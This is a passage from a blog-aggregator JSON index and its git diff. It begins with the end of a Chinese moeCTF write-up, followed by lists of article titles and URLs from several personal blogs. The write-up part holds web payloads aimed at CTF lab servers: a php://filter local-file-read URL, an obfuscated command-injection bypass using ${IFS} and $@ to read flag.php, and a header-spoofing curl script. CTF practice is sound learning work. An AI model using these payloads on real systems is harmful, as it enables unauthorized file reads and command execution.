href=\"https://www.leavesongs.com/PENETRATION/php-filter-magic.html\"\u003ehttps://www.leavesongs.com/PENETRATION/php-filter-magic.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ichunqiu/p/10683379.html\"\u003ehttps://www.cnblogs.com/ichunqiu/p/10683379.html\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003ehttp://47.98.215.112:5000/?file\u003cspan class=\"token operator\"\u003e=\u003c/span\u003ephp://filter/read\u003cspan class=\"token operator\"\u003e=\u003c/span\u003econvert.base64-encode/resource\u003cspan class=\"token operator\"\u003e=\u003c/span\u003eflag.php\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e得到base64字符串,解码\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{xdsec6asdgas7ahfsfaxczc}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"07-babeRCE\"\u003e\u003ca href=\"#07-babeRCE\" class=\"headerlink\" title=\"07 babeRCE\"\u003e\u003c/a\u003e07 babeRCE\u003c/h3\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_44657899/article/details/107676580\"\u003ehttps://blog.csdn.net/qq_44657899/article/details/107676580\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e挺有意思,试了里面好多法子,最后试出来了然后还得每个字符之间都加\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003ehttp://47.93.215.154:5000/?rce\u003cspan class=\"token operator\"\u003e=\u003c/span\u003et\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003ea\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003ec\u003cspan class=\"token variable\"\u003e$\u0026#123;\u003cspan class=\"token environment constant\"\u003eIFS\u003c/span\u003e\u0026#125;\u003c/span\u003ef\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003el\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003ea\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003eg\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003e\u003cspan class=\"token builtin class-name\"\u003e.\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003ep\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003eh\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003ep\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003eoectf{Do_y0u_l1k3_Rcccccccccccccce?}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e### 08 Do you know HTTP?\u003cp\u003ephp真是绝绝子\u003c/p\u003e\u003cp\u003e用php+curl,查阅了文档,然后一步一步按题给的要求加东西\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-php\" data-language=\"php\"\u003e\u003ccode class=\"language-php\"\u003e\u003cspan class=\"token php language-php\"\u003e\u003cspan class=\"token delimiter important\"\u003e\u0026lt;?php\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$url\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token string single-quoted-string\"\u003e'http://47.93.215.154:5002'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$header\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token keyword\"\u003earray\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token string double-quoted-string\"\u003e\"Referer: www.ltyyds.com\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string double-quoted-string\"\u003e\"X-Forwarded-For: 127.0.0.1\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string double-quoted-string\"\u003e\"User-Agent: LT\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string double-quoted-string\"\u003e\"Date: Dec, 26 Dec 2015 17:30:00 GMT\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_setopt\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token constant\"\u003eCURLOPT_URL\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$url\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_setopt\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token constant\"\u003eCURLOPT_CUSTOMREQUEST\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token string single-quoted-string\"\u003e'HS'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_setopt\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token constant\"\u003eCURLOPT_TIMEOUT\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_setopt\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token constant\"\u003eCURLOPT_RETURNTRANSFER\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e#curl_setopt($ch,CURLOPT_HTTPHEADER,array(\"X-Forwarded-For: 127.0.0.1\"));\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_setopt\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token constant\"\u003eCURLOPT_HTTPHEADER\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$header\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$content\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_exec\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"token variable\"\u003e$content\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token delimiter important\"\u003e?\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{HTTPHeaders_1s_s0_ea5y!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e","url":"https://blog.ksfu.top/posts/82c9/"},{"title":"blogEncrypt","time":"2021-09-09T14:02:52Z","content":"有东西被加密\u003chr /\u003e\u003cdiv class=\"hbe hbe-container\" id=\"hexo-blog-encrypt\" data-wpm=\"抱歉, 这个密码看着不太对, 请再试试.\" data-whm=\"抱歉, 这个文章不能被校验, 不过您还是能看看解密后的内容.\"\u003e \u003cscript id=\"hbeData\" type=\"hbeData\" data-hmacdigest=\"4838c035240a77ed6a78693c026a2ff61b17c3551b0ee6366631d0ca6dcd57bb\"\u003eeefcb32dea6b1b3cf00a6005fbaeec13fe33249b90ab29d6586ecb398d0eca850144a02e601cd72ca042df0f6de4861b3b858d5692d5cde454c3b47084d3a78437917c5f5bbee81f8032aa9a1e29a844b0f4ca6e476c84a7eec435bf74a1be3edabb682d58c0e60af8baf6929662b069f5f11272f77a74d1b3477df7f4251f003c2801887418a7e0ad930d46f0a553d96a393a1222821cabf2e2e4e07db2017269ad22f352e61748bbb4b5c3e35a2cb0f9059ef4225ed713beae899374580e36163878e69f63c6c053ce0ca053c0c747\u003c/script\u003e \u003cdiv class=\"hbe hbe-content\"\u003e \u003cdiv class=\"hbe hbe-input hbe-input-xray\"\u003e \u003cinput class=\"hbe hbe-input-field hbe-input-field-xray\" type=\"password\" id=\"hbePass\"\u003e \u003clabel class=\"hbe hbe-input-label hbe-input-label-xray\" for=\"hbePass\"\u003e \u003cspan class=\"hbe hbe-input-label-content hbe-input-label-content-xray\"\u003e这里需要密码.\u003c/span\u003e \u003c/label\u003e \u003csvg class=\"hbe hbe-graphic hbe-graphic-xray\" width=\"300%\" height=\"100%\" viewBox=\"0 0 1200 60\" preserveAspectRatio=\"none\"\u003e \u003cpath d=\"M0,56.5c0,0,298.666,0,399.333,0C448.336,56.5,513.994,46,597,46c77.327,0,135,10.5,200.999,10.5c95.996,0,402.001,0,402.001,0\"\u003e\u003c/path\u003e \u003cpath d=\"M0,2.5c0,0,298.666,0,399.333,0C448.336,2.5,513.994,13,597,13c77.327,0,135-10.5,200.999-10.5c95.996,0,402.001,0,402.001,0\"\u003e\u003c/path\u003e \u003c/svg\u003e \u003c/div\u003e \u003c/div\u003e\u003c/div\u003e\u003cscript data-pjax src=\"/lib/hbe.js\"\u003e\u003c/script\u003e\u003clink href=\"/css/hbe.style.css\" rel=\"stylesheet\" type=\"text/css\"\u003e","url":"https://blog.ksfu.top/posts/af/"}]}],"update":"2024-10-15T10:30:56.133440715Z"} \ No newline at end of file diff --git a/index.json b/index.json index 6085e3d..1e4a91b 100644 --- a/index.json +++ b/index.json @@ -1 +1 @@ -{"author":[{"name":"闪电豹猫的自留地","email":"Unknown","uri":"https://hhzm.win/","description":"这里是闪电豹猫的博客主站","article":[{"title":"Gyoza 使用指南","time":"2024-04-01T00:00:00Z","content":"db/b64b064fe1d888823a28b934.txt","url":"https://hhzm.win/posts/guide/"},{"title":"Bot in Discord with discord.js (17)","time":"2024-05-09T00:00:00Z","content":"db/0eec83c8f97079a18af15ecb.txt","url":"https://hhzm.win/posts/bot-in-discord-17/"},{"title":"在文章中嵌入视频和代码","time":"2024-04-04T00:00:00Z","content":"db/2da299e304d65c13b86c3f0c.txt","url":"https://hhzm.win/posts/embed/"},{"title":"Markdown 示例","time":"2024-04-01T00:00:00Z","content":"db/a44190511b000821224f6597.txt","url":"https://hhzm.win/posts/markdown/"},{"title":"Bot in Discord with discord.js (16)","time":"2023-04-10T00:00:00Z","content":"db/e3a77abba8b08d2420cb5da1.txt","url":"https://hhzm.win/posts/bot-in-discord-16/"},{"title":"Bot in Discord with discord.js (15)","time":"2023-04-09T00:00:00Z","content":"db/97d271f244fb07ad28bb442c.txt","url":"https://hhzm.win/posts/bot-in-discord-15/"},{"title":"Bot in Discord with discord.js (14)","time":"2023-01-24T00:00:00Z","content":"db/9d4ebcd9e17d1fac18d2e6d9.txt","url":"https://hhzm.win/posts/bot-in-discord-14/"},{"title":"Bot in Discord with discord.js (13)","time":"2023-01-10T00:00:00Z","content":"db/46e1aa568e73bdc823ad9856.txt","url":"https://hhzm.win/posts/bot-in-discord-13/"},{"title":"Bot in Discord with discord.js (12)","time":"2022-11-24T00:00:00Z","content":"db/e32b8af7a105a7ed7a1ee64c.txt","url":"https://hhzm.win/posts/bot-in-discord-12/"},{"title":"Bot in Discord with discord.js (11)","time":"2022-11-23T00:00:00Z","content":"db/a6548218024c67f4555ab777.txt","url":"https://hhzm.win/posts/bot-in-discord-11/"},{"title":"Bot in Discord with discord.js (10)","time":"2022-11-21T00:00:00Z","content":"db/2166cdb3a5d7227281242a16.txt","url":"https://hhzm.win/posts/bot-in-discord-10/"},{"title":"Bot in Discord with discord.js (9)","time":"2022-11-19T00:00:00Z","content":"db/9710326cdae2ab1fe6935880.txt","url":"https://hhzm.win/posts/bot-in-discord-9/"},{"title":"Bot in Discord with discord.js (8)","time":"2022-07-15T00:00:00Z","content":"db/e3b5a490a3207dffe534226c.txt","url":"https://hhzm.win/posts/bot-in-discord-8/"},{"title":"Bot in Discord with discord.js (7)","time":"2022-07-14T00:00:00Z","content":"db/9421f27800f2791ef2e0f647.txt","url":"https://hhzm.win/posts/bot-in-discord-7/"},{"title":"Bot in Discord with discord.js (6)","time":"2022-07-13T00:00:00Z","content":"db/cc0e4b3cc7064cf6fbbe11ed.txt","url":"https://hhzm.win/posts/bot-in-discord-6/"},{"title":"Bot in Discord with discord.js (5)","time":"2022-07-12T00:00:00Z","content":"db/f6170d2720fe0980fb51473c.txt","url":"https://hhzm.win/posts/bot-in-discord-5/"},{"title":"Bot in Discord with discord.js (4)","time":"2022-07-11T00:00:00Z","content":"db/5a403ef88764ab61ed68a2af.txt","url":"https://hhzm.win/posts/bot-in-discord-4/"},{"title":"Bot in Discord with discord.js (3)","time":"2022-07-10T00:00:00Z","content":"db/31e257e2f0794a70e6bb4094.txt","url":"https://hhzm.win/posts/bot-in-discord-3/"},{"title":"Bot in Discord with discord.js (2)","time":"2022-07-09T00:00:00Z","content":"db/b831329156a0c18149a8d644.txt","url":"https://hhzm.win/posts/bot-in-discord-2/"},{"title":"Bot in Discord with discord.js (1)","time":"2022-07-08T00:00:00Z","content":"db/fdfe027af1ec3a71f991519f.txt","url":"https://hhzm.win/posts/bot-in-discord-1/"}]},{"name":"Hiang's BLOG","email":"","uri":"https://hiangzahoong.github.io/","description":"","article":[{"title":"Hello World","time":"2024-05-03T03:51:53.173Z","content":"db/b765c79e05acfb6bdd70db7d.txt","url":"https://hiangzahoong.github.io/post/4a17b156.html"}]},{"name":"Canxin Site","email":"Unknown","uri":"https://canxin121.github.io/","description":"Recent content on Canxin Site","article":[{"title":"屏幕 控制 电机(pid)","time":"2023-09-18T00:00:00Z","content":"db/c6eced55ab97300095736e61.txt","url":"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/"},{"title":"SparkGPT","time":"2023-09-10T00:00:00Z","content":"db/60934bbd40e6e14b199bfee3.txt","url":"https://canxin121.github.io/p/sparkgpt/"},{"title":"SparkGPT 思路分析","time":"2023-09-10T00:00:00Z","content":"db/53fc80653e8cccf1162ace4e.txt","url":"https://canxin121.github.io/p/sparkgpt-%E6%80%9D%E8%B7%AF%E5%88%86%E6%9E%90/"},{"title":"SparkGPT 预览","time":"2023-09-10T00:00:00Z","content":"db/695a68365a8ef57d38d7b3ab.txt","url":"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/"},{"title":"归档","time":"2022-03-06T00:00:00Z","content":"db/79cf62a6236e472515150cfe.txt","url":"https://canxin121.github.io/archives/"},{"title":"Led灯控制(Usart)","time":"0001-01-01T00:00:00Z","content":"db/3e9bfae68de222fd6193a650.txt","url":"https://canxin121.github.io/p/led%E7%81%AF%E6%8E%A7%E5%88%B6usart/"},{"title":"链接","time":"0001-01-01T00:00:00Z","content":"db/c033d6eae8e09d3eb8a8b03d.txt","url":"https://canxin121.github.io/%E9%93%BE%E6%8E%A5/"},{"title":"搜索","time":"0001-01-01T00:00:00Z","content":"db/cbb0c21135dfdff797cf4dbe.txt","url":"https://canxin121.github.io/search/"}]},{"name":"Frank","email":"","uri":"https://blog.frankli.site/","description":"","article":[{"title":"关于大学","time":"2022-07-02T16:00:00Z","content":"db/97f6a17e4d4dede6ed3c8226.txt","url":"https://blog.frankli.site/2022/07/03/Misc/%E5%85%B3%E4%BA%8E%E5%A4%A7%E5%AD%A6/"},{"title":"python实现的php序列化","time":"2021-06-14T16:00:00Z","content":"db/aa381754b5c96a4087903fa8.txt","url":"https://blog.frankli.site/2021/06/15/Misc/libphpserialize/"},{"title":"第六届XCTF决赛部分Writeup","time":"2021-05-29T16:00:00Z","content":"db/29f4e5a835c71abbd7f38bb7.txt","url":"https://blog.frankli.site/2021/05/30/Security/Writeup/XCTF-Final-2021/"},{"title":"PHP序列化中的R与r","time":"2021-04-10T16:00:00Z","content":"db/675acd26e1696a8ab79450fb.txt","url":"https://blog.frankli.site/2021/04/11/Security/php-src/PHP-Serialize-tips/"},{"title":"*CTF 2021 Web部分 Writeup","time":"2021-01-18T07:58:02Z","content":"db/ec929b39eec728f5c9935f6c.txt","url":"https://blog.frankli.site/2021/01/18/Security/Writeup/*CTF-2021-Web/"},{"title":"mssCTF 2020 手记","time":"2020-09-19T16:00:00Z","content":"db/1b696129a49518942da8cac6.txt","url":"https://blog.frankli.site/2020/09/20/Dev/mssCTF%202020/"},{"title":"GACTF 2020 Web 部分题目 Writeup","time":"2020-08-31T16:00:00Z","content":"db/ed0b6881e045c51a39cfa962.txt","url":"https://blog.frankli.site/2020/09/01/Security/Writeup/GACTF-2020-Web/"},{"title":"第十三届全国大学生信息安全竞赛西北赛区 Web题目 Writeup","time":"2020-08-20T16:00:00Z","content":"db/650815fee32fd736227cfde1.txt","url":"https://blog.frankli.site/2020/08/21/Security/Writeup/CISCN%202020/"},{"title":"fatfree framework POP链挖掘","time":"2020-08-20T16:00:00Z","content":"db/425ee875c3954046d687716f.txt","url":"https://blog.frankli.site/2020/08/21/Security/Writeup/fatfree%20POP/"},{"title":"PHP Lifecycle","time":"2020-08-13T16:00:00Z","content":"db/2ef4560a44bad3ce41671b73.txt","url":"https://blog.frankli.site/2020/08/14/Security/php-src/PHP-Lifecycle/"},{"title":"PHP函数、Opcode与注册表","time":"2020-08-13T16:00:00Z","content":"db/0d8bd314a61d92105d00c769.txt","url":"https://blog.frankli.site/2020/08/14/Security/php-src/PHP-Registry-Mechanism/"},{"title":"WMCTF2020 PHP source analysis","time":"2020-08-04T16:00:00Z","content":"db/d1be38552b9a818e089fbedb.txt","url":"https://blog.frankli.site/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/"},{"title":"SCTF 2020 两道Web题 Writeup","time":"2020-07-06T16:00:00Z","content":"db/921237c69d7eb618cb740376.txt","url":"https://blog.frankli.site/2020/07/07/Security/Writeup/SCTF-2020-Web/"},{"title":"关于爱","time":"2020-05-19T16:00:00Z","content":"db/e935e4aeed11b56256e937ad.txt","url":"https://blog.frankli.site/2020/05/20/Misc/%E5%85%B3%E4%BA%8E%E7%88%B1/"},{"title":"从一道题到PHP Shell WAF绕过","time":"2020-05-09T16:00:00Z","content":"db/85b74804d4e872c30ff46dde.txt","url":"https://blog.frankli.site/2020/05/10/Security/PHP%20Shell%20Bypass/"},{"title":"Osu逆向过程中的一些小结","time":"2020-02-07T09:04:59Z","content":"db/455a9ba9a4405a25c5abf8a5.txt","url":"https://blog.frankli.site/2020/02/07/Security/Osu%E9%80%86%E5%90%91%E8%BF%87%E7%A8%8B%E4%B8%AD%E7%9A%84%E4%B8%80%E4%BA%9B%E5%B0%8F%E7%BB%93/"},{"title":"2019暑假划水小结","time":"2019-08-23T09:50:44Z","content":"db/bfd611066b968472218e8cdb.txt","url":"https://blog.frankli.site/2019/08/23/Misc/2019%E6%9A%91%E5%81%87%E5%88%92%E6%B0%B4%E5%B0%8F%E7%BB%93/"},{"title":"论mathjax踩坑","time":"2019-08-06T16:00:00Z","content":"db/81312f3e66a81c9f2b3bf3fd.txt","url":"https://blog.frankli.site/2019/08/07/Dev/%E8%AE%BAmathjax%E8%B8%A9%E5%9D%91/"},{"title":"2019暑期牛客多校","time":"2019-08-05T16:00:00Z","content":"db/6be79fa5ef0b48fabd58b55c.txt","url":"https://blog.frankli.site/2019/08/06/Misc/2019%E6%9A%91%E6%9C%9F%E7%89%9B%E5%AE%A2%E5%A4%9A%E6%A0%A1/"},{"title":"给CTFd加上ACM评测功能","time":"2019-07-24T16:00:00Z","content":"db/fc0f8c0b3712ab1c285b0a07.txt","url":"https://blog.frankli.site/2019/07/25/Dev/%E7%BB%99CTFd%E5%8A%A0%E4%B8%8AACM%E8%AF%84%E6%B5%8B%E5%8A%9F%E8%83%BD/"},{"title":"第十二届全国大学生信息安全竞赛西北赛区 部分题目 Writeup","time":"2019-04-21T16:00:00Z","content":"db/82897992f2dbbdae8054ce4a.txt","url":"https://blog.frankli.site/2019/04/22/Security/Writeup/CISCN%202019/"},{"title":"MakerCTF 2019 部分Web题目 Writeup","time":"2019-04-14T16:00:00Z","content":"db/f4db51897eca2461e6d44f8b.txt","url":"https://blog.frankli.site/2019/04/15/Security/Writeup/MakerCTF%202019/"},{"title":"moeCTF2018","time":"2018-08-25T16:00:00Z","content":"db/4ba58b7d79a0117d2be92d5d.txt","url":"https://blog.frankli.site/2018/08/26/Security/Writeup/moeCTF2018/"},{"title":"旧的几篇题解","time":"2018-07-31T16:00:00Z","content":"db/ef6cd2f9af39bcc1e5f448bd.txt","url":"https://blog.frankli.site/2018/08/01/Misc/%E6%97%A7%E7%9A%84%E5%87%A0%E7%AF%87%E9%A2%98%E8%A7%A3/"}]},{"name":"Xiue's Blog","email":"","uri":"https://xiue233.github.io/","description":"A lazy dog.","article":[{"title":"每日随笔之胡言乱语","time":"2024-08-30T05:56:19Z","content":"db/788e004af33aad4df5a77fe2.txt","url":"https://xiue233.github.io/2024/08/30/daily-essay/"},{"title":"Linux下适配拯救者Y9000X的Optimus方案","time":"2024-08-27T08:06:00Z","content":"db/945c1c9003c2aef39cccbf82.txt","url":"https://xiue233.github.io/2024/08/27/linux-mux-resolution-for-legion/"},{"title":"配置VSCode以开发安卓内核","time":"2024-08-13T01:30:07Z","content":"db/2043a21c20a2d96a19bc8a01.txt","url":"https://xiue233.github.io/2024/08/13/vscode-config-for-android-kernel/"},{"title":"First Love Story","time":"2024-08-05T08:05:21Z","content":"db/ae15cad90af6a0f06bbab02a.txt","url":"https://xiue233.github.io/2024/08/05/first-love-story/"},{"title":"Linux下Conda遇到OpenSSL 3.0 Legacy错误","time":"2024-08-04T12:52:24Z","content":"db/0d68e384d1f1f8fdb126e1df.txt","url":"https://xiue233.github.io/2024/08/04/conda-openssl-legacy-provider/"},{"title":"为Y9000X安装Arch","time":"2024-08-02T02:02:14Z","content":"db/217f5d3e87d8317cc6b32a6e.txt","url":"https://xiue233.github.io/2024/08/02/arch-install-for-Y9000X-2022/"},{"title":"《心中的雨,散落在了天边》(2024-7-13随笔)","time":"2024-07-12T22:22:17Z","content":"db/b963d5b1a0b1312323d1e5a2.txt","url":"https://xiue233.github.io/2024/07/13/2024-7-13-essay/"},{"title":"为Pixel3 PixelExperience13Plus内核引入Kernelsu","time":"2024-03-26T09:57:00Z","content":"db/945f05429e7d2bea97b036f5.txt","url":"https://xiue233.github.io/2024/03/26/pixel3-kernelsu-build/"},{"title":"一分钱经济学(胡言乱语)","time":"2024-03-01T15:30:00Z","content":"db/79ad16ac63d351296f3051a7.txt","url":"https://xiue233.github.io/2024/03/01/a-penny-economics/"},{"title":"随笔——中国当今社会下的原神社会现象","time":"2023-10-19T09:17:38Z","content":"db/66a7e819dfe9e61586531c15.txt","url":"https://xiue233.github.io/2023/10/19/essay-genshin-phenomena-in-society/"},{"title":"平板PC引擎的研究(华为MatePad)#已咕咕咕","time":"2023-09-13T12:28:49Z","content":"db/b21767d1bce79894ca243ff2.txt","url":"https://xiue233.github.io/2023/09/13/pc-engine-in-huawei-matepad/"},{"title":"Aether使用指南(主体功能概述)","time":"2023-09-09T14:42:41Z","content":"db/d91c8d8ee494de4befdf28e0.txt","url":"https://xiue233.github.io/2023/09/09/aether-manual/"},{"title":"Aether在Android中的适配探索","time":"2023-09-05T15:35:45Z","content":"db/8952ef596a673d02888cab4c.txt","url":"https://xiue233.github.io/2023/09/05/aether-in-android/"},{"title":"OFA使用下遇到的问题","time":"2022-12-04T02:18:53Z","content":"db/cda9e4cffd6213facf83fecb.txt","url":"https://xiue233.github.io/2022/12/04/ofa_bugs/"},{"title":"PC小芝士","time":"2022-10-25T10:33:30Z","content":"db/c683e6a21d9ee4d4d96840a2.txt","url":"https://xiue233.github.io/2022/10/25/os_knowledge/"},{"title":"记一次编译Mediapipe","time":"2022-10-01T14:24:51Z","content":"db/00def58ae11e227a657a6ade.txt","url":"https://xiue233.github.io/2022/10/01/compile_mediapipe/"}]},{"name":"@indevn","email":"indevn@outlook.com","uri":"https://indevn.com/","description":"Recent content on @indevn","article":[{"title":"About","time":"2024-07-10T07:10:45Z","content":"db/17a18070d7649e224db72bfa.txt","url":"https://indevn.com/about/"},{"title":"近乎正常就可以了 #音乐剧","time":"2024-06-08T10:11:52Z","content":"db/1568fe6a2b18bff4045f9fae.txt","url":"https://indevn.com/posts/next-to-normal/"},{"title":"illusion Graphic:基于现代API的图形算法实验框架","time":"0001-01-01T00:00:00Z","content":"db/74ea24d65fa4851c8f10598a.txt","url":"https://indevn.com/illusion/"}]},{"name":"SuperBart/BenderBlog","email":"Unknown","uri":"https://www.superbart.top/","description":"Recent content on SuperBart/BenderBlog","article":[{"title":"cmcalc 开发日志 1","time":"2024-07-14T00:00:00Z","content":"db/2c3cc73bab78031aa8c3ccde.txt","url":"https://www.superbart.top/p/cmcalc-develop-log-1.html"},{"title":"Traintime PDA v1.1.0 版本发行概要","time":"2024-03-23T00:00:00Z","content":"db/b32a63fcf1cad6420cae62fe.txt","url":"https://www.superbart.top/p/traintime-pda-v1.1.0-release-note.html"},{"title":"New Order - Movement 听后感","time":"2024-01-02T00:00:00Z","content":"db/5963e20b87f8f4f4e10a11f7.txt","url":"https://www.superbart.top/p/movement-review.html"},{"title":"Traintime PDA v0.4.1 发行简记","time":"2023-11-02T00:00:00Z","content":"db/1992948006a00fdf4a183e26.txt","url":"https://www.superbart.top/p/traintime-pda-v0.4.1-release-note.html"},{"title":"Traintime PDA v0.4.0 发行简记","time":"2023-10-01T00:00:00Z","content":"db/35271101646439fd0b1ca2c6.txt","url":"https://www.superbart.top/p/traintime-pda-v0.4.0-release-note.html"},{"title":"Traintime PDA v0.2.0 发行简记","time":"2023-08-16T00:00:00Z","content":"db/c440904d29070b622eaf0bcb.txt","url":"https://www.superbart.top/p/traintime-pda-v0.2.0-release-note.html"},{"title":"Traintime PDA v0.1.0 